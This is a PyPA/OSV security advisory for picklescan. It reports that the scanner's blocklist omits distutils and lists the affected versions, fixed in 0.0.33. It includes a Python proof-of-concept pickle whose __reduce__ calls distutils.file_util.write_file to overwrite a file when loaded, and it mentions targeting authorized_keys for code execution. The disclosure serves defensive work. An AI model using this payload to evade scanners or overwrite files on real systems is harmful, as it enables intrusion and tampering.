PYSEC-2026-1791

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Import Source

https://github.com/pypa/advisory-database/blob/main/vulns/picklescan/PYSEC-2026-1791.yaml

JSON Data

https://api.osv.dev/v1/vulns/PYSEC-2026-1791

Aliases

Published

2026-07-07T16:03:14Z

Modified

2026-07-07T17:48:02Z

Severity

8.9 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P CVSS Calculator

Summary

Picklescan vulnerable to Arbitrary File Writing

Details

Summary

Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.

Details

This is another vulnerability which impacts the downstream user.

By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.

PoC

import pickle
import distutils.file_util

class FileWriteBypass:
    def __reduce__(self):
        
        target_file = "pwned_config.env"
        content = ["print('I have overwritten your config')"]
        
        return (distutils.file_util.write_file, (target_file, content))

payload = pickle.dumps(FileWriteBypass())
with open("bypass_filewrite.pkl", "wb") as f:
    f.write(payload)

print("bypass_filewrite.pkl")

To fix this just add disutil to the blacklist

References

Affected packages

PyPI / picklescan

Package

Name: picklescan; View open source insights on deps.dev
Purl: pkg:pypi/picklescan

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

0.0.33

Affected versions

0.*

0.0.1

0.0.2

0.0.3

0.0.4

0.0.5

0.0.6

0.0.7

0.0.8

0.0.9

0.0.10

0.0.11

0.0.12

0.0.13

0.0.14

0.0.15

0.0.16

0.0.17

0.0.18

0.0.19

0.0.20

0.0.21

0.0.22

0.0.23

0.0.24

0.0.25

0.0.26

0.0.27

0.0.28

0.0.29

0.0.30

0.0.31

0.0.32

Database specific

source

"https://github.com/pypa/advisory-database/blob/main/vulns/picklescan/PYSEC-2026-1791.yaml"